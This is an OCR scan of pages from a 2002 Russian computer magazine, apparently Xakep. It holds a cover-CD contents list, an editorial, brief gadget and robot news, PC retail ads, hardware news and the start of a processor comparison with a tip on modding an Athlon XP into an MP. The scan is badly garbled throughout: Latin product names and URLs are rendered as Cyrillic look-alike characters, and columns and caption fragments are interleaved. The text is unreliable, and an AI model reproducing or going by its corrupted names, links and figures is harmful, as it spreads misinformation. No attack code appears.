
»> СОФТ: ѴѴіп2к 5РЗ, ѴѴіпатр 3, Х5РЮЕВ, 
лучшие компиляторы АСМа, отладчики и дебеггеры, 
новый хакерский софт, все ШароѴѴАВЕ2 
от М. 1 АзН'а, весь софт из РСІОНЕ и ВЗЛОМа 

»> ДРАЙВЕРА: пѴЮІА ОеЮпаЮг 30.82, 

АТІ Саіаіузі, 115В 2.0, пРогсе, 5і5 

»> ЮНИКС: весь софт из ЮНИКСОИДа, 
все новые ядра, Иеззиз, ССС, 5АІІМТ, птар 3.0 

»> ПЛЮС: лучшая музыка, полезные утилиты, 
лучшие демки с АззетЬІу 2002, стафф для кодера 
и многое другое... 
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Н едавно я понял, что я - винчестер. 
Единственная цель моей жизни - 
собирать информацию. Меня 
интересует абсолютно все вокруг. У 
меня на все есть вопросы, на все есть свое 
мнение. Мне интересно, откуда взялись 
люди на Земле, меня жутко интересует, что 
такое черные дыры в космосе, я фанатично 
роюсь в Интернете, чтобы понять, как 
появились палочки в японской кухне. Кто 
придумал компьютерную мышку? Зачем 
зебрам полоски? Почему по медному 
кабелю нельзя передавать данные быстрее 
2-х мегабит в секунду? Кто измерил 
скорость света? Почему примитивные 
биологические вирусы сильнее 
эволюционно развитых людей? И так далее 
и до бесконечности. Я не могу просто жить 
и радоваться жизни. У меня все время 
недостаток информации. 

Как-то раз один человек мне сказал: "А 
зачем тебе все это? Ты что, будешь 
применять эти знания в жизни?". "Нет", - 
ответил я. "А тогда зачем тебе весь этот 
информационный мусор?" - резонно 
спросил он. Я не знаю. Действительно не 
знаю. Мне просто интересно. Я живу 
информацией, поглощаю ее, заряжаюсь от 
нее. Мыслить - вот цель моей жизни. 
Понимать - вот моя мечта. 

Подумай сам: мы, человечество, которое 
мечтает охватить космос и понять 
вселенную, до сих пор не можем понять 
самих себя, не расшифровали геном и 
даже говорим на разных языках! Мы, 
покорители космоса и свершители тысяч 
открытий, до сих пор воюем друг с другом 
и выясняем отношения грубой силой. Мы, 
объединившие мир сетью Интернет и 
создающие искусственный разум, не 
понимаем языка животных, не знаем, 
откуда мы появились, до сих пор ругаемся 
и доказываем друг другу - кто прав, а кто 
виноват! Может быть для того, чтобы 
понять глобальные вещи, стоит заглянуть в 
микроскоп? 

Я вижу атом. Он необычный и изумительно 
красивый. Я чуть-чуть удаляю микроскоп и 
вижу молекулу, которая состоит из атомов. 
Удаляю еще немного и вижу клетку, 
построенную из молекул. Я отвожу глаз от 
микроскопа и вижу орган, состоящий из 
клеток. Отступаю назад и вижу человека, в 
котором десятки органов. Еще дальше, и 
передо мною город, населенный людьми. 
Еще, и внизу планета, набитая городами. 
Шаг назад, и я вижу солнечную систему. 
Еще назад, и передо мной вселенная. Еще 
дальше... и я вижу атом. Он необычный и 
изумительно красивый... 

Приятного чтения. 

главред Ж 
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КОМПЬЮТЕРНЫЙ КОФЕ 



» 



• Ник Пелис, смышленый парниша из Штатов, запарился бегать на кух- 
ню за свежим кофе и встроил в свой писюк кофеварку. Ножовкой по ме- 
таллу он аккуратно вырезал нишу в нижней части тауэра. В ней предстоя- 
ло разместить разрозненные компоненты простенькой кофеварки. Нагре- 
вательный элемент был помещен на низ и подсоединен к блоку питания 
тачки, краник с фильтром Ник закрепил сверху. Из оргстекла был соору- 
жен вместительный резервуар для воды. Боковую стенку было решено 
застеклить и оживить танцующими огоньками, а внутренности осветить 
красным неоном. Горячий воздух выводится наружу двумя мощными ку- 
лерами. Процессор, по словам изобретателя, дополнительно не нагрева- 
ется. За сеанс активного использования на корпусе оседает всего не- 
сколько капель влаги. Приготовление порции кофе занимает каких-то 5 
минут. Каждое утро Ник дистанционкой включает кофеварку и к заверше- 
нию загрузки виндов уже разгребает почту за чашкой кофе. На очереди 
сооружение СаЯеіпе МасМпе 2.0, варящей экспрессо и каппучино. По- 
дробные схемы и инструкции ты найдешь в Интернете: нъър : //ріт- 
ргід ■ сот/зесЪіопз ■ рНр?ор=ѵІ0ыаг{:іс1е&аг1:ісІ=72&раде=1 
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ПРЕМИЯ ЗА ВЕЛОСИПЕД 



к. 



• Инженер Геннадий Васильев из Барнаула изобрел велосипед, за 
что получил высшую для Кулибиных награду - Золотую медаль вы- 
ставки в Женеве. В отличие от традиционной конструкции велосипе- 
да, когда полезная работа совершается при давлении на педали свер- 
ху, смелая разработка лишена цепи и звездочек трансмиссии, а педа- 
ли движутся попеременно. Революционный механизм привода позво- 
ляет разогнать транспортное средство до скорости 80 км/ч. Серийно- 
му производству велосипедов пока что препятствует отсутствие воз- 
можности изготавливать высокоточные детали. Последний раз награ- 
да в области механики вручалась на выставке в Женеве 15 лет назад. 
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УТИ-ПУТИ, НЕ ЗАСНЕШЬ 



• Аргентинские студенты изобрели эффективное устройство для борьбы 
со сном и усталостью. Чтобы не захрапеть на лекции, под подбородок при 
помощи ремешка крепится веселый резиновый утенок Раіотазіег. Первые 
же потуги клевать носом, как только голова слабеет и чуть наклоняется 
вперед, пресекаются жутким утиным кряканьем. Помимо служения делу 
науки, новинке прочат спасение человеческих жизней на транспорте. 
Раіотазіег продается на сайте в Интернете по цене 10 долларов за штуку. 



ДВУХСОТЛЕТНИИ ЧЕЛОВЕК 



• Ученые американского университета Карнеги сконструировали необыч- 
ного робота-старика. Выживший из ума доктор Горацио Беардслей - это 
занимательный и милый андроид с чертами старого горемыки из русских 
народных сказок. Его лицо испещрено морщинами и покрыто густой расти- 
тельностью. Простенькая система искусственного интеллекта тем не менее 
позволяет Доку сносно общаться с окружающими. При этом он по-стари- 
ковски шамкает и без 
стеснения выказывает 
свое прескверное на- 
строение: бубнит под 
нос куплеты, отрыги- 
вает, икает, чихает и 
храпит. На многочис- 
ленные расспросы Док 
сообщает, что он ро- 
дом из семьи пастуха, 
и главное его дости- 
жение на поприще на- 
уки - изобретение 
плитки молочного шо- 
колада и бесконечной 
краюхи хлеба. Если 
добавить к рассеянно- 
му бреду нечего, Док 
корчит гримасу непо- 
нимания и ссылается 
на старческий маразм. 




ЕЗ ВСПОМНИТЬ ВСЕ 



• Компания АссепШге ТесГіпоІоду Ьабз разработала прототип запи- 
сывающего устройства для людей с плохой памятью. Оно позволяет 
вспомнить, как зовут собеседника и о чем вы с ним болтали. Циф- 
ровой диктофон включается, реагируя на определенную голосовую 
команду вроде безобидной фразочки "рад тебя видеть". Далее за- 
пись последней минуты разговора осуществляется на жесткий диск 
в стандартном ѵѵаѵ-формате. Каждый аудиофрагмент сопровождает- 
ся информацией о времени и месте, где состоялся разговор. 






ЭЛЕКТРОННЫЙ ГАЛКИН 






• Японский инженер разработал устройство, которое позволяет 
до неузнаваемости преобразить голос человека. Используя об- 
ширный набор шаблонов, "голосовых хромосом", можно изменять 
громкость и скорость речи, высоту тона. В ответ на робкую с за- 
пинками речь из динамиков зазвучат властные команды, мужест- 
венные признания и спокойные философские рассуждения. Уст- 
ройство также предупредит срыв голоса и блеяние фальцетом, что 
нередко случается при выступлении перед аудиторией. Пока что 
новинка работает только с предварительно сделанными записями, 
но вскоре она сможет функционировать в реальном времени. 
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ПЛАСТМАССОВЫЙ ГИТАРИСТ 



• Вермонтские студенты соорудили из пластмассовых деталек І_ЕСО ро- 
бота, исполняющего музыку регги на укулеле - четырехструнной гавайской 
гитаре. Выбор на этот туземный инструмент пал потому, что при своем 
небольшом размере он способен вызывать чистые и громкие звуки. Ори- 
гинальный экземпляр гитары парни приобрели в гавайской деревушке 
Вайкики всего за 10 долларов. Регги на укулеле можно играть простей- 
шим образом, используя 3 аккорда. Функции левой руки гитариста испол- 
няют механические "пальцы", каждый из которых приводится в действие 
при помощи моторчика и зажимает соответствующий лад. Правую руку 
представляет сложная конструкция на зубчатых передачах, в нужный мо- 
мент ударяющая по струнам. Разноцветные детальки І_ЕСО облепили гита- 
ру, как лилипуты Гулливера. В итоге вызывать тот или иной аккорд можно 
при помощи сенсорных кнопок на пульте дистанционного управления. 
Кроме того, робот запрограммирован на исполнение без участия человека 

регги-хитов 5йг II 
ІІр, ТгепсМоѵѵп 
Воск и Віѵегз оі 
ВаЬуІоп. 
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І$М С0МРІІТЕК8 И ХАКЕР ДЛЯ СТУДЕНТОВ! 




• Компания ІЗМ СотрЩегз проводит две супер акции для школьников и студентов. 
Во-первых, с 26 августа по 30 сентября 2002 года в магазинах ІЗМ все покупатели ком- 
пьютеров ІЗМ Мазіег на базе процессора ІпіеІ Репііит 4 получат в подарок подписку на 
компьютерный журнал «Хакер». При этом длительность подписки будет зависеть от мощ- 
ности установленного в компьютере процессора. К примеру, для того, чтобы получить 
подписку на 3 месяца достаточно приобрести ПК с процессором, тактовая частота кото- 
рого равна 1700 Мгц, а вот для годовой подписки частота процессора должна быть как 
минимум 2200 Мгц. 

Во-вторых, в течение сентября при покупке любого 
компьютера ІЗМ (с монитором или без) на сумму от 
500$ и выше покупатели получат разнообразные по- 
дарки, например, оптическую «мышь», факс-модем 
или даже цветной струйный принтер. 

Более подробную информацию об этих специаль- 
ных предложениях можно получить, посетив сайт 
компании ІЗМ Сотриіегз - ѵѵѵм.ізт.ги . 




сотриісгх 






АВТОМОБИЛЬЧИКИ ДЛЯ ВЗРОСЛЫХ 



• Японская компания Такага будет выпускать игрушки для взрослых - полноразмерные копии 
своего бестселлера, коллекционных машинок СГіого-О. Одноместный электромобиль О-Саг 
метр в ширину и два в длину способен развить скорость до 60 км/ч и на единственной подза- 
рядке аккумулятора преодолеть расстояние в 80 км. Большая игрушка оборудована задним 
приводом, двурычажной подвеской и регенеративной системой торможения, подзаряжающей 
батареи при сбавлении газа. Первые модели - спортивный кабриолет "2010" и классический 
Мосіегп Тітез - сойдут с конвейера уже в ноябре этого года. По японским законам электромо- 
били освобождаются от техосмотров и налога на транспортные средства. Кроме того, О-Саг 
будут предоставлены особые условия парковки. По задумке руководства компании "игрушеч- 
ный" дизайн растопит сердца пузатых дядек, и они с детской непосредственностью выложат 
за новинку от 8 до 1 1 тысяч долларов. 



КАРАОКЕ ДЛЯ МОБИЛЫ 

• Американская компания ІМеІІутозег за- 
патентовала технологию, которая позво- 
ляет напевать мелодии для мобильного 
телефона. Это может быть как подзабы- 
тая песенка из детства, которая третий 
день вертится в голове, так и смелая им- 
провизация. После звонка по специаль- 
ному номеру и живого исполнения соло 
остается дождаться сообщения с мело- 
дией звонка. Система Зегепаіа поддер- 
живает большое количество форматов, 
включая КПП, двоичные ЗМЗ, іМеІобу 
МЮІ, а также мультимедийный СЭМ- 
АМИ. Работает программное обеспечение 
практически на всех платформах. Сис- 
темные требования божеские - всего 1 
Мб ОЗУ. В настоящее время ІМеІІутозег 
выстраивает систему продаж лицензий 
на продукт провайдерам сотовой связи. 




Я КОМОЧЕК 
ОЛЯ ПЕРТУРБАЦИИ 



• ТЫпкСеек.сот раскручивает нового "ли- 
зуна" - жуткой консистенции аморфную 
массу, с которой можно творить чудеса. 
Предмету всеобщего восхищения удается 
быть мягким и тягучим, как пластилин, и 
вместе с тем хрупким, как стекло. Если 
приклеить Зтагі Мазз к потолку, "лизун" 
медленно стечет на пол. Но стоит хрястнуть 
по нему молотком, чтобы он разлетелся 
вдрызг. Способов истязания акрилового ко- 
мочка не перечесть. Его можно тянуть, мять 
и рвать на части. Последнее, говорят, уда- 
ется сделать только после упорной трени- 
ровки - резким рывком вдоль предвари- 
тельно сделанного надреза. Комочек для 
пертурбаций выпускается в трех расцветках: 
синей, бирюзовой и ядовито- бронзовой. 
Продается в Интернете за 12 долларов. 



ПРАВИЛЬНЫЙ НАЕЗД! 



• Группа компаний РогсІ берет на вооружение систему "безопасного" наезда на пешеходов. 
Специальная конструкция капота, бампера и фар позволит грамотно перераспределить 
энергию удара и уберечь ноги от переломов. Система фиксирует контакт с пешеходом по- 
средством сенсоров в передней части авто. Кожух капота при этом смещается назад и чуть 
приподнимается вверх, защищая от удара о лобовое стекло. Одновременно фары прячутся 
вглубь кузова, а бампер из особого пенного состава смягчает удар. Система защищена от 
ложного срабатывания на парковке или при инциденте с участием другого авто. 
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ДЫМОВОЙ БЛАСТЕР, 



• Компания 2его Тоуз представила занятный игрушечный бластер. При 
нажатии на спусковой крючок "жерло вулкана" испускает мириады дымо- 
вых колец правильной формы от 5 до 1 5 сантиметров в диаметре. Они ле 
тят на расстояние до 4 метров и растворяются в воздухе, приводя в вос- 
торг окружающих. Для этого внутрь заливается вишневого аромата глице- 
риновая жидкость - та самая, которую используют в Голливуде для созда- 
ния искусственного тумана. Одной баночки стоимостью $3,95 хватает на 
25 тысяч колец. Пары жидкости и воздух под давлением поступают в то- 
роидальную воронку - область низкого давления, где в природе зарожда- 
ются ураганы и торнадо. Игрушка имеет несметное количество рычажков, 
при помощи которых можно регулировать величину колец, дискретность 
стрельбы и другие параметры. Бластеры выпускаются в трех расцветках, 
работают от 6 пальчиковых батарей и продаются по цене 20 долларов. 



САМАЯ УМНАЯ КУКЛА 



• Компания Мапіеу Тоу Оиезі представила самую умную куклу на свете. Внеш- 
не Сіпсіу Зшагі ничем не отличается от соседок по магазинной полке: белые ку- 
дри, большие голубые глазенки и нос кнопкой. Однако сложный организм, на- 
чиненный хай-тек внутренностями, дает о себе знать уже при первых попытках 
вступить с куклой в контакт. Это первая игрушка, которая умеет читать, разли- 
чать формы и цвета, решать примеры прямо из учебника. Она не просто следу- 
ет инструкциям своей маленькой хозяйки, понимая до 70 команд, но запомина- 
ет происходящее, внимает подсказкам и тем самым обучается. Любознатель- 
ная пластмассовая девчушка не только распознает и помнит лица окружающих, 
предметы интерьера, но постоянно вращает головой в поисках букв и цифр, 
проговаривая их вслух, совершая "зарядку для ума". Она лепечет на 5 языках, 
а стартовый запас из 700 слов со временем быстро пополняется. На создание 
Зтаіі Сіпсіу ушло 10 лет. Инженеры и дизайнеры компании разработали десят- 
ки схем взаимодействия куклы и ребенка, отобрав для производства самую 
смышленую "тутси". Зшагі: Сіпсіу прочат революционный успех робопса АіЬо. 
Продажи начнутся этой осенью по цене всего 100 долларов. 



• Компания АРА Оріісз представила наручные часы для загара. ЗипІІѴШсІп 
не боятся расплавиться от жары, но заботливо отмеряют время, проведен- 
ное хозяином на солнце. Шкала на экране из 
жидких кристаллов отображает мощность вре- 
доносного ультрафиолета в динамике. Специ- 
альный калькулятор на основе информации о 
типе кожи и защитном факторе крема для за- 
гара производит индивидуальный расчет мак- 
симального времени, которое можно прово- 
дить на пляже без зонтика. Звуковым сигна- 
лом часы предупредят солнечный удар и по- 
явление болезненных волдырей на коже. Но- 
винка продается по цене около 90 долларов. 



МИСС ЛЮБЕЗНОСТЬ 



• На симпозиуме по искусственному интеллекту в канадском городе 
Эдмонтон зарегистрировался необычный участник. Для начала роботи- 
ха СПАСЕ, мисс Любезность, под два метра ростом с дисплеем на мес- 
те головы ответила на все вопросы анкеты. После этого при помощи 
лазеров и сонаров она самостоятельно нашла дорогу в зал заседаний, 
не сбив никого на своем пути. Заняв место в первом ряду, роботиха 

поприветствовала окружающих дру- 
Л жеским жестом железной руки. На 
этом миссия СПАСЕ, запрограмми- 
Ш Р ованная Учеными университета 

Щ Карнеги, была завершена. По сло- 

вам наблюдателей анимированное 
лицо на экране располагает к себе 
живыми эмоциями и выразитель- 
ной мимикой: СПАСЕ улыбается, 

I Я я * » |^^НЦ грустит, подмигивает. Кроме того, 

роботиха постоянно совершенству- 
9 ш р|Н| ет свои навыки и пополняет сло- 
ч варный запас. СПАСЕ может ездить 

В -чг ■ I а -ліг на эскалаторе, понимает неслож- 

# ные фразы и распознает жесты. Ра- 

ботает она под управлением НесІ 
На! 7.2. К следующей конференции 
разработчики планируют усовер- 
шенствовать СПАСЕ, научив ее не- 
принужденно общаться в кулуарах. 



ГИЛЬОТИНА ДЛЯ МОБИЛЬНИКА 

• В лабораториях университета Сингапура "рубят головы" 
мобильникам. Устройство в виде гильотины предназначено 
для краш-тестов. Роняя телефон на разные типы поверхно- 
стей под разным углом, устройство выявляет слабые места 
в конструкции современных аппаратов. В отдельных тестах 
мобильник летит на бетонное покрытие со скоростью 6 ме- 
тров в секунду. По результатам испытаний сотни ходовых 
трубок самыми уязвимыми были признаны крепления бата- 
реи и дисплеи на жидких кристаллах. Команда разработчи- 
ков не намерена ограничиваться мобильниками и скоро 
займется карманными компьютерами: "Есть еще так много 
гаджетов, которые мы можем крушить и ломать". 
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Компьютер Ехігете СоІІѳде на базе процессора Іпіеі® 
Репііит® 4 расширит кругозор Вашего ребенка, открыв 
бескрайние просторы Интернет. Компьютер Ехігете 
на базе процессора іпіеі ® Репііит ® 4 СоІІеде верный помощник в школе, колледже институте. 



С 01.09 - 30.09 мы приглашаем Вас в магазины "Техмаркет-Компьютерс" на "День открытых дверей!" 
Ежедневно с 15.00 до 17.00 в специально оборудованном компьютерном классе Вы сможете 
познакомиться с новой серией компьютеров для школьников ТОМ СоІІеде. 




Адреса ближайших к Вам магазинов: 



м. «Динамо» ул. 8 Марта, д. 10, стр. 1, тел: 363-9333 

м. «Красносельская» ул. Русаковская, д. 2/1, тел: 264-1234 

м. «Каховская» Симферопольский б-р, д. 20А, тел: 310-6100 

м. «Сокол» ул. Новопесчаная, д. 11, тел: 157-5392 

м. «Полежаевская» Хорошевское ш., д. 72, корп.1, тел: 941-0176 

м. «Дмитровская» ул. Башиловская, д. 29, тел: 257-8268 

м. «Братиславская» ... ул. Братиславская д. 16, стр. 1, тел: 347-9638 
Интернет-магазин: ѵ\лл/ѵѵ.5000.ги 



ВСЕМ ПОКУПАТЕЛЯМ - ПОДАРКИ! 
ЭЛЕКТРОНННЫЕ МИКРОСКОПЫ, ФИРМЕННЫЕ 
ФУТБОЛКИ, ФИРМЕННЫЕ ТОЛСТОВКИ 

а также РОЗЫГРЫШ ЛАЗЕРНЫХ ПРИНТЕРОВ!!! 



Іпіеі, логотип Іпіеі Іпзісіе и Репііит - 
зарегистрированные товарные знаки 
Іпіеі Согрогаііоп и его филиалов в 
США и других странах 



техехззэя 



компьютере 



ЕДИНАЯ СПРАВОЧНАЯ: 363-9333 5000 НАИМЕНОВАНИЙ КОМПЛЕКТУЮЩИХ 
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Привет от Мамбы! 

Загадочная компания МатЬо Оідііаі 
представила свое любопытное детище 
- МатЬо-Х Р350. Этот девайс может 
нести на своих плечах до 20Гб инфы, 
причем эту инфу он же и обрабатывает 
и может быть использован в качестве: 




аудио-плеера, поддерживающего 
форматы МРЗ, М/ІА и ѴѴАѴ; 
МРЗ-рекордера, оцифровывающего с 
различных источников (МіпЮізс, ЭАТ, 
СЭ, кассетный аудиоплеер, РМ, ТѴ и 
т.д.) с качеством от 64Кб/сек до 
1 60Кб/сек; 

цифрового диктофона; 
переносного винчестера. 

Связь с компом осуществляется через 
ІІЗВ 1.1 интерфейс, что, в принципе, 
не очень впечатляет, особенно на фо- 
не плодящихся, как кролики после Хи- 
росимы, девайсов с поддержкой ІІЗВ 
2.0. Из остальных особенностей можно 
выделить ЖК-дисплей с подсветкой, 
программируемый плейлист, фирмен- 
ную систему навигации по каталогам и 
возможность загрузки из сети обнов- 
ленных версий прошивок. Стоит же 
все это добро порядка 300 уев. 

Моддинго- 
вая башня 

Компания СІоЬаІѵѵіп представила свой 
новый корпус, выполненный в лучших 
традициях моддинга (видимо, не 
только ][ уловил свежую струю в ІТ- 
индустрии ;)). Башня выглядит до- 
вольно стильно и необычно, а ее ос- 
новные характеристики выглядят так: 
Материал: алюминиевый сплав. 
Толщина: 1 мм. 




Г абариты : 485x200x4 1 0 . 

Шесть 3.5-дюймовых отсеков и четы- 
ре - 5-дюймовых. 

Совместимость с материнками форм- 
фактора АТХ и Місго АТХ. 

Также можно отметить наличие спе- 
реди панели с двумя ІІЗВ-коннектора- 
ми, аудиоразъемами и небольшим 
дисплеем, показывающим время и 
температуру. Ну и, конечно, нельзя не 
упомянуть про неоновую подсветку - 
обязательного атрибута стильного 
моддингового девайса :]. 



Веікіп и его НиЬ 

Веікіп начал поставки панели «Ні- 
Зрееб ІІЗВ 2.0 Эгіѵе Вау НиЬ», монти- 
рующейся в 3.5-дюймовый отсек кор- 
пуса и оснащенной четырьмя 118В- 




коннекторами со светодиодными ин- 
дикаторами. Хаб поддерживает ІІЗВ 
1.1 (ІІЗВ РиІІ-Зрееб) и ІІЗВ 2.0 (Ю 
Ні-ЗреесІ). Стоит же эта панель-хаб 
вполне приемлемо - 50 вечнозеленых. 



Ускоряемся с 
Касіеоп 9700 Рго 

Не успели продавцы компьютерных 
рынков и магазинов вдоволь пощу- 
пать все прелести новой видеокарты 
от АТІ - Вабеоп 9700, как к ним на при- 



лавки уже ломится пополнение в лице 
линейки Рабеоп 9700 Рго. Приставоч- 
ка Рго гарантирует самую высокую 
производительность на сегодняшний 
день из продукции АТІ. Характеристи- 
ки видюхи и впрямь впечатляют: 
128Мб ООР-видеопамяти; 

Частота памяти - 620МГц; 

Частота чипсета - 325МГц. 



Как и полагается крутой видеокарте, 
она оснащена самыми распростра- 
ненными коннекторами: ѴСА-выход, 




ЭѴІ и З-Ѵібео. Стоимость всего этого 
графического великолепия - целых 
400 буказоидов. Не мало, но и на вит- 
ринах эти девайсы не залежатся ;]. 



Каменный 

посредник 

На этот раз компания Ро\л/егІ_еар, из- 
вестный производитель различных 
процессорных примочек, 
выпустила новый переходник РІ.-Р4/М 
(с кулером и пастой в комплекте), 
предназначенный для работы Зоскеі- 
478-процессоров Репііит 4 
ІЧогІІмоосІ, ШІатейе и Сеіегоп 
Шатейе-128 в материнских платах с 
разъемом ЗоскеІ-423. А выложить за 
эту оригинальную и полезную приблу- 
ду придется около 50 бакинских, что, 
в принципе, обойдется дешевле, чем 
покупка новой материнки. 




Рогііззіто III 

Небезызвестная Негсиіез продолжа- 
ет развитие своей линейки звуковых 
карт Рогііззіто. Теперь она предста- 
вила ее логическое продолжение - 
Рогііззіто III, построенную на РЗР- 
чипе от Сіггиз І_одіс - ЗоипсІРизіоп 
С34624. Чем же выделяется эта зву- 
ковуха на фоне конкурентов? Преж- 
де всего она может похвастаться не 
только возможностью подключения 
к 5.1 акустики, но и к 7.1 акустиче- 
ским системам (к сожалению, еще 
не получивших широкого распрост- 
ранения). Остальные спецификации 
выглядят так: 

Шина -РСІ 2.1; 

Кодеки - 20-битный четырехканаль- 
ный выход и 18-битный стереовыход, 
сэмплирование - до 48КГц; 
Совместимость с технологиями: 
Зепзаига Зй, с поддержкой МісгозоЙ 
йігесІЭоипсІ Зй, ЕАХ 1.0, ЕАХ 2.0, АЗЭ 
1 .0, 1301.2, МасгоРХ, МиІІіОгіѵе, 
ІоотРХ, ЕпѵігоптепІРХ; МісгозоЙ 
ОігесІЭоипсІ, РігесІМизіс, ОоІЬу 
ЗиггоипсІ, РоІЬу Оідііаі; 




Программный табличный синтезатор 
- поддерживаемое 08Р неограничен- 
ное количество голосов, 64 голоса ап- 
паратно; 

8Мб банк сэмплов СепегаІ МЮІ/08; 
Совместимость с 01.8 1 .0; 
Совместимость с СМ (СепегаІ Місіі) и 
ѴатаЬа ХС (676 инструментов, 21 
ударных); 

Эффекты: геѵегЬ, сЬогиз, ѵагіаііоп и 
т.д.; 

Разъемы аналоговые: выход на фрон- 
тальные колонки, выход на тыловые 
колонки, централ ьнаяДРЕ колонки, 
седьмой и восьмой каналы, выход на 
наушники, І_іпе іп/Міс іп, порт 
МЮІ/Сате (МРІІ 401); 

Разъемы цифровые: оптический 

8/РйІР выход; 



і 




8 Ньюсы 



Реррум 



РС 2опе 



Взлом 



Юниксоид 











Внутренние разъемы: СО-іп, СО-іп 2, 
Аих-іп, 8/РйІР іп. 

В комплекте будет поставляться и 
специальная версия Роѵѵег 0\Ю, сов- 
местимая с ОоІЬу Оідііаі ЕХ, которая 
позволит насладиться всем этим 
многоканальным звуком. Цена но- 
винки не кусается (около 80$), а ско- 
рее манит своей доступностью, осо- 
бенно учитывая перспективы, кото- 
рые она предоставляет. 



Малышка 
от Сгеаііѵе 

Сгеаііѵе вновь решила удивить мир. 
Только на этот раз не очередной зву- 
ковухой, а самым маленьким 
МРЗ-плейером МиѴо. Весит новинка 
всего 28 граммов, имеет размеры 
75x35x13 мм и подключается по 118В- 
интерфейсу. Эта малышка несет на 
себе 64 Мбайта памяти, что позволяет 
вместить до двух часов музыки в фор- 
мате ѴѴМА или до часа в привычном 
МРЗ и с битрейтом 1 28 Кб/с. МиѴо со- 
стоит из двух частей: модуля памяти 
МиѴо Мегтюгу (вставляется в 118В 




порт) и батарейного отсека с одной 
батарейкой, работающей около 12 ча- 
сов (к этому отсеку подсоединяются и 
наушники). На теле малышки распо- 
ложены все необходимые органы уп- 
равления: кнопка воспроизведения, 
остановки, перемотки вперед и назад. 
Ну, а стоить она будет около 1 50 бак- 
сов, что совсем не по-детски :]. 



РС Сеідег для 
оверклокеров 

Многим оверклокерам необходимо 
как-то мониторить свою систему, т.е. 
следить за температурой и режима- 
ми работы своей разогнанной тачки. 
Одно из таких решений предложила 
компания Ѵісз ТесИпІоду Іпс., выпус- 
тив мониторинговую систему РС 
Сеідег. В ее комплект входит фрон- 
тальная панель, РСІ карта для мони- 
торинга частоты РСІ шины, что поз- 




воляет следить за загрузкой шины в 
процентах, скоростью обмена данны- 
ми по шине в реальном времени и 
состоянием хардварного 806/846 
порта для диагностики загрузки ком- 
па. Также имеется несколько разъе- 
мов и переключателей. В частности, 
кнопочка «СІеаг СМ08» пригодиться 
после неудачных и смелых экспери- 
ментов с разгоном ;]. В общем, до- 



статочно привлекательная приблуда, 
но не каждый оверклокер захочет вы- 
кладывать за нее 100 баксов. 



Новые цифро- 
вушки от Косіак 

Компания Косіак выпустила две но- 
вые цифровые камеры: 0X4330 и 
СХ4200. Их отличительной особенно- 
стью является облегченный процесс 
переноса фотографий на компьютер 
и их печать. Цифровушки оборудова- 
ны специальной кнопкой, позволяю- 
щей выделить снимки, которые авто- 
матически зальются на комп при под- 




ключении. А для упрощения и этой 
процедуры можно докупить стыко- 
вочную станцию ЕазуЗбаге. Модель 
0X4330 имеет 3.1 -мегапиксельную 
матрицу, 3-кратный оптический зум и 
яркий ЮО-дисплей, который позво- 
ляет комфортно просматривать от- 
снятые фотки при любом освещении. 
СХ4200 - модель попроще, о чем сви- 
детельствует 2 -мегапиксельная мат- 
рица и 2-кратный оптический зум. 
Цена на новинки находится на прием- 
лемом уровне и составляет 350$ и 
180$ соответственно. 



Холодильник 
для Наттег’а 

Вслед за пришествием нового про- 
цессора от то - Наттег’а - ожида- 
ется и появление специализирован- 
ных кулеров под него. Одной из пер- 
вых ласточек стал кулер от компании 



йупаігоп - «К8 СРІІ Сооіег», который, 
скорей всего, будет использоваться в 
Ьох-поставках процессоров Наттег. 

Вот его характеристики: 

Размеры кулера - 78x74x58 мм; 
Тепловое сопротивление - 0.27 С/Вт; 
Вес - 274 г; 

Материал радиатора - алюминий; 
Скорость вращения - 4000 оборотов в 
минуту; 

Один подшипник качения и один под- 
шипник скольжения; 

Напряжение питания - 12В; 

Шум - 36 дБ. 

Так, кулеры уже на подходе - ждем 
камней под него ;]? 
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ОПИСЯНИЕ ПОЛЯ БОЯ 



Материнские платы: АЗІІ8 
Р4В533-Е (для ІпіеІ), ЗоІІек 5І_- 
750ВѴ5 (для МАО)] 

Память: ИСР 512 МВ 00Я, 
Жесткий диск: ІВМ ШІА 307045; 
Видеокарта: АН Васіеоп 8500 
(драйвер версии 6.13.10.6043); 
ОС: ѴѴіпсІоѵѵз ХР Ноте ЕсШоп 
(ЬиіІсІ 2600). 



ПЕРЕЧЕНЬ БОЙЦОВ 



Репііит 4 2.2 СНг 
Репііит 4 Сеіегоп 1 .7 СНг 
Репііит 4 Сеіегоп 1 .8 ОНг 
АМйАШІоп ХР 1800+ 0Н2 
АМй АІЫоп ХР 2000+ ОН? 
АМР Ригой 1300 СНг 



АІѴЮ АШоп ХР 
«Раіотіпо» 



АІЫоп ХР с ядром Раіотіпо - уже опыт- 
ный боец и не первый день участвует 
в процессорных войнах. Что же позво- 
ляет ему находиться в такой отличной 
спортивной форме? Нет, никаким до- 
пингом здесь и не пахнет, просто от- 
вет нужно искать в архитектуре про- 
цессора. Дело в том, что, несмотря на 
меньшее количество ступеней конвей- 
ера, чем у Репііит 4, у него больше 
количество исполняемых за один такт 
инструкций. Также нельзя не отметить 
^ уже знаменитый РРІ) с тремя незави- 




ЯТМоп НР в ЯШоп ГПР7 Легко! 



симыми конвейерами для исполнения 
стандартных ЕРІІ- инструкций. Добавь 
сюда фирменный набор инструкций 
АМР ЗРІМоѵѵ! плюс поддержку ІпіеІ 
ЗЗЕ, и тогда становится понятно, что 
РРІ) у АІЫоп действительно очень 
мощный и производительный. Но и на 



Ты, наверное, в курсе, что, поми- 
мо обычных однопроцессорных 
систем, бывают еще и двухпро- 
цессорные. Так вот специально 
для работы на двухпроцессорных 
материнках сделан камушек 
АІЫоп МР. Только вот незадача, 
стоит он на порядок дороже, чем 
обычный Атлончик. Однако тяга к 
халяве и разгону у нашего чело- 
века в крови, поэтому мы поведа- 



ем тебе довольно простой способ 
превращения ХР в МР. Для этого 
нужно всего лишь замкнуть (на- 
пример, токопроводящим клеем) 
последний мостик из группы 15. 

И вуаля! Теперь осталось только 
докупить второй Атлончик (и про- 
делать с ним ту же самую опера- 
цию), двухпроцессорную мамку, и 
ты становишься счастливым об- 
ладателем наикрутейшей тачки ;]. 



этом список отличительных особенно- 
стей не заканчивается. В АІЫоп ХР 
применяется механизм опережающей 
загрузки инструкций в И-кэш, минуя 
12-кэш. А это позволяет ядру «оплодо- 



творить» еще большее количество ко- 
манд, благо размер кэша І_1 (128 КВ) 
этому весьма способствует. Другое от- 
личие Раіотіпо - это расширенный І_1 
ИВ (Тгапзіаііоп Еоок-азісіе ВЫІегз), ко- 



Процессор 


АІЫоп ХР Репііит 4 АІЫоп ХР 

(ТЬогоидЬЬгесІ) (ЫогІЫлгоосІ) (Раіотіпо) 


